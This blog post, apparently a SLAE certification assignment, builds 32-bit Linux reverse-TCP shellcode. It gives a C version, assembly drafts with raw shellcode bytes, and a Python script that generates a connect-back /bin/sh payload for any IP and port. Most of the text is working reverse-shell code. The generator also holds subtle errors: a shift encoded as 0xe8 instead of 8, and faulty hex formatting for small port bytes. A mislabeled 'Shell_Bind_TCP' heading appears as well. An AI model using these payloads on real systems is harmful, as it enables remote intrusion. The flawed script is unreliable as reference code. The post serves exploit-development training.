In the second assignment of the Securitytube Linux Assembly Expert 32-bit certification I had to create a Shell_Reverse_TCP shellcode. This is very similar to the Shell_Bind_TCP, although a little bit simpler. I used the same Makefile to ease the build process.

1. The pseudo code of the Shell_Bind_TCP

  • Create a socket
  • Connect to the remote port
  • Duplicate file handles of STDIN, STDOUT and STDERR with client socket
  • Start /bin/sh

 

2. The source code of a C program that implements this behavior.

shell-reverse-tcp.c

#include<stdlib.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<strings.h>
#include<unistd.h>

#define BIND_PORT	4444

main(int argc, char **argv)
{
	int i, ret;
	int socketClient;

	char *args[] = { "/bin/sh", 0 };

	struct sockaddr_in server;
	int sockaddr_len = sizeof(struct sockaddr_in);

	// Create a socket
	socketClient = socket(AF_INET, SOCK_STREAM, 0);
	if (socketClient == -1)
	{
		exit(-1);
	}

	// Connect to the remote socket
	server.sin_family = AF_INET;
	server.sin_port = htons(4444);
	server.sin_addr.s_addr = inet_addr("127.0.0.1");
	bzero(&server.sin_zero, 8);

	ret = connect(socketClient, (struct sockaddr *) &server, sockaddr_len);
	if(ret == -1)
	{
		perror("bind : ");
		exit(-1);
	}

	// Duplicate file descriptors
	for (i=0; i<=2; i++)
	{
		dup2(socketClient, i);
	}

	// Execute /bin/sh
	execve(args[0], &args[0], NULL);
}

 

3. The constants are the same as in the Shell_Bind_TCP. I do not repeat them here. However the input parameter of the connect method is a little bit different. I used the C program to check the structure of the server variable.

shell_reverse_tcp_1

The first two bytes is 0x5c11. This is the port number, 4444. The next two bytes is the address family (AF_INET = 2). The next four bytes is the IP address of the remote socket we try to connect to. 0x7f = 127, 0x01 = 1. 0x0100007f = 127.0.0.1 The IP address is encoded in reverse order (more info on this can be found here). The next 8 bytes are zero.

 

4. The first draft of the ASM code

shellcode.asm

global _start

section .text

_start:

	; Create a socket
	; eax = 102 (socketcall), ebx = 1 (socket),
	;   ecx = esp (2 (AF_INET), 1 (SOCK_STREAM), 0)
	mov eax, 102	; syscall = socketcall
	mov ebx, 1	; socket = 1
	push dword 0	; args: protocol = 0
	push dword 1	;       type = (SOCK_STREAM = 1)
	push dword 2	;       domain = (AF_INET = 2)
	mov ecx, esp	; pointer of args
	int 0x80

	; Save the returned socket to edi for later use, this is
	;   the first argument of the following syscalls
	xchg edi, eax	; eax (socket)  <=>  edi

	; Connect to a remote port
	push 0x0100007F	; socaddr: 0x0100007F = 127.0.0.1
	push 0x5c110002	;          0x5c11 = port 4444, AF_INET = 0x0002
	mov ecx, esp

	; eax = 102 (socketcall), ebx = 3 (connect),
	;   ecx = (socket, server struct, 16)
	mov eax, 102	; syscall = socketcall
	mov ebx, 3	    ; connect = 3
	push dword 16	; sockaddr_in: size of sockaddr_in
	push ecx	    ;              pointer of sockaddr_in
	push edi    	;              server socket
	mov ecx, esp	; pointer of args
	int 0x80

	; Duplicate file descriptor
	; eax = 63 (dup2), ebx = old file descriptor (client socket)
	;   ecx = new file descriptor (0 = STDIN / 1 = STDOUT / 2 = STDERR)
	mov eax, 63	    ; syscall = dup2
	mov ebx, edi	; old file descriptor = client socket
	mov ecx, 0	    ; new file descriptor = STDIN
	int 0x80

	mov eax, 63	    ; syscall = dup2
	mov ebx, edi	; old file descriptor = client socket
	mov ecx, 1	    ; new file descriptor = STDOUT
	int 0x80

	mov eax, 63	    ; syscall = dup2
	mov ebx, edi	; old file descriptor = client socket
	mov ecx, 2	    ; new file descriptor = STDERR
	int 0x80


	; execve syscall
	xor eax, eax
	push eax	    ; NULL

	push 0x68732f6e	; hs/n
	push 0x69622f2f	; ib//

	; First argument
	mov ebx, esp	; pointer to '//bin/sh', 0x00

	push eax	    ; NULL
	; Third argument
	mov edx, esp	; pointer to a NULL

	push ebx	    ; pointer to '//bin/sh', 0x00
	; Second argument
	mov ecx, esp	; pointer to the pointer of '//bin/sh', 0x00

	mov al, 11	    ; syscall = execve = 11
	int 0x80

 

The original shellcode is 118 bytes long.

make

nasm -f elf32 -o shellcode.o shellcode.asm
ld -m elf_i386 -o shellcode shellcode.o
Size of shellcode:
   text	   data	    bss	    dec	    hex	filename
    118	      0	      0	    118	     76	shellcode

Shellcode:

"\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x6a\x00\x6a\x01\x6a\x02
\x89\xe1\xcd\x80\x97\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89
\xe1\xb8\x66\x00\x00\x00\xbb\x03\x00\x00\x00\x6a\x10\x51\x57\x89
\xe1\xcd\x80\xb8\x3f\x00\x00\x00\x89\xfb\xb9\x00\x00\x00\x00\xcd
\x80\xb8\x3f\x00\x00\x00\x89\xfb\xb9\x01\x00\x00\x00\xcd\x80\xb8
\x3f\x00\x00\x00\x89\xfb\xb9\x02\x00\x00\x00\xcd\x80\x31\xc0\x50
\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53
\x89\xe1\xb0\x0b\xcd\x80"

 

5. The next step is to remove the NULL characters and make the shellcode as small as possible.

There is a problem here. The IP address and the port number can contain zero bytes, which makes the shellcode unusable. Also, our solution should solve the problem of configuring the port number in a general way.

There is a trick for initializing a 32-bit register with a value that contain zero bytes. We first put zero in the 32-bit register, then we add each bytes to the register (in reverse order) and shift the content of the register to left. In case of 0x0100007F would be:

add al, 0x01    ; eax = 0x00000001
shl eax, 8         ; eax = 0x00000100
add al, 0           ; eax = 0x00000100
shl eax, 8         ; eax = 0x00010000
add al, 0           ; eax = 0x00010000
shl eax, 8         ; eax = 0x01000000
add al, 0x7f     ; eax = 0x0100007f
push eax

Or a more simpler and shorter form:

add al, 0x01
shl eax, 24
add al, 0x7f
push eax

We can also use this technique to initialize the port number, as the port number can also contain zero bytes.

The enhanced shellcode:

shellcode.asm

global _start

section .text

_start:
	; Create a socket
	; eax = 102 (socketcall), ebx = 1 (socket),
	;   ecx = esp (2 (AF_INET), 1 (SOCK_STREAM), 0)
	xor ebx, ebx
	mul ebx

	push eax
	or al, 102	    ; syscall = socketcall
	inc ebx
	push ebx
	push byte 2	    ; domain = (AF_INET = 2)
	mov ecx, esp	; pointer of args
	int 0x80

	; Save the returned socket to edi for later use, this is
	;   the first argument of the following syscalls
	xchg edi, eax	; eax (socket)  <=>  edi

	; Connect to a remote port
	; push 0x0100007F	; socaddr: 0x0100007F = 127.0.0.1
	add al, 0x01
	shl eax, 24
	add al, 0x7f
	push eax

	push word 0x5c11; 0x5c11 = port 4444
	push word 2	    ; AF_INET = 0x0002
	mov ecx, esp

	; eax = 102 (socketcall), ebx = 3 (connect),
	;   ecx = (socket, server struct, 16)
	xor eax, eax
	or al, 102	    ; syscall = socketcall
	add bl, 2	    ; connect = 3
	push dword 16	; sockaddr_in: size of sockaddr_in
	push ecx	    ;              pointer of sockaddr_in
	push edi	    ;              server socket
	mov ecx, esp    ; pointer of args
	int 0x80

	; Duplicate file descriptor
	; eax = 63 (dup2), ebx = old file descriptor (client socket)
	;   ecx = new file descriptor (0 = STDIN / 1 = STDOUT / 2 = STDERR)

	xor ecx, ecx
	add cl, 2	    ; new file descriptor

dup2_loop:
	xor eax, eax
	add al, 63	    ; syscall = dup2
	int 0x80

	dec ecx
	jns dup2_loop

	; execve syscall
    xor eax, eax
    push eax    ; NULL

    push 0x68732f6e ; hs/n
    push 0x69622f2f ; ib//

    ; First argument
    mov ebx, esp    ; pointer to '//bin/sh', 0x00

    push eax        ; NULL
    ; Third argument
     mov edx, esp   ; pointer to a NULL

    push ebx        ; pointer to '//bin/sh', 0x00
    ; Second argument
    mov ecx, esp    ; pointer to the pointer of '//bin/sh', 0x00

    mov al, 11      ; syscall = execve = 11
    int 0x80

 

6. The shellcode should be configurable. I created a python script which handles the zero byte problems.

generate.py

#!/usr/bin/python


shellcode1 = ("\\x31\\xdb\\xf7\\xe3\\x50\\x0c\\x66\\x43\\x53\\x6a"
"\\x02\\x89\\xe1\\xcd\\x80\\x97")

# 04 01                   add    al,0x1
# c1 e0 08                shl    eax,0x8
# 04 00                   add    al,0x0
# c1 e0 08                shl    eax,0x8
# 04 00                   add    al,0x0
# c1 e0 08                shl    eax,0x8
# 04 7f                   add    al,0x7f
# 50                      push   eax

# 31 c0                   xor    eax,eax
# 04 5c                   add    al,0x5c
# c1 e0 08                shl    eax,0x8
# 04 11                   add    al,0x11
# 66 50                   push   ax

variable_part = ""

shellcode2 = ("\\x66\\x6a\\x02\\x89\\xe1\\x31\\xc0\\x0c\\x66\\x80"
"\\xc3\\x02\\x6a\\x10\\x51\\x57\\x89\\xe1\\xcd\\x80\\x31\\xc9\\x80"
"\\xc1\\x02\\x31\\xc0\\x04\\x3f\\xcd\\x80\\x49\\x79\\xf7\\x31\\xc0"
"\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3"
"\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80")

shellcodeLen = 75


str_ip = raw_input("Enter IP address: ")

ipList = str_ip.split('.')

for i in range(0, 4):
	tmp1 = int(ipList[3-i])
	if tmp1 != 0:
		# Add IP part, as it is not 0
		tmp2 = ""
		if tmp1 < 16:
			tmp2 += "0"
		tmp2 += hex(tmp1)[2:]
	
		variable_part += "\\x04" + "\\x" + tmp2
		shellcodeLen += 2

	if i != 3:
		# Shift left with 8 bits
		variable_part += "\\xc1\\xe0\\x08"
		shellcodeLen += 3

# push eax onto the stack
variable_part += "\\x50"
shellcodeLen += 1


str_port = raw_input("Enter port number: ")

portnum = int(str_port)
if portnum < 1 or portnum > 65535:
	print "Invalid range"
else:
	upper = portnum % 256
	lower = portnum / 256

	# set eax to 0
	variable_part += "\\x31\\xc0"
	shellcodeLen += 2

	if lower == 0:
		# add lower byte
		upperHex = "\\" + hex(upper)[1:]
		variable_part += ("\\x04" + upperHex)

		# shift left with 8
		variable_part += "\\xc1\\xe0\\xe8"

		shellcodeLen += 5
	else:
		# add upper byte
		upperHex = "\\" + hex(upper)[1:]
		variable_part += ("\\x04" + upperHex)

		# shift left with 8
		variable_part += "\\xc1\\xe0\\xe8"

		# add lower byte
		lowerHex = "\\" + hex(lower)[1:]
		variable_part += ("\\x04" + lowerHex)

		shellcodeLen += 7

# push ax onto the stack
variable_part += "\\x66\\x50"
shellcodeLen += 2


print ""
print "Length of shellcode: %d bytes" % (shellcodeLen)
print ""
print "Shellcode: \"" + shellcode1 + variable_part + shellcode2 + "\""
print ""

 

I ran the script and generated a shellcode with the following parameters: IP address = 127.0.0.1, port number = 80. These parameters contain zero values, but the script generated a correct shellcode. The original shellcode was 118 bytes long. The enhanced shellcode is only 98 bytes, but the length depends on the parameters.

I copied the generated shellcode into shellcode.txt, then issued the following commands:

make test
make test-run

The shellcode in action:

shell_reverse_tcp

 

*  *  *  *  *

The source codes can be found on github:

https://github.com/sh3llc0d3r1337/SLAE32-shell_reverse_tcp

 

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-691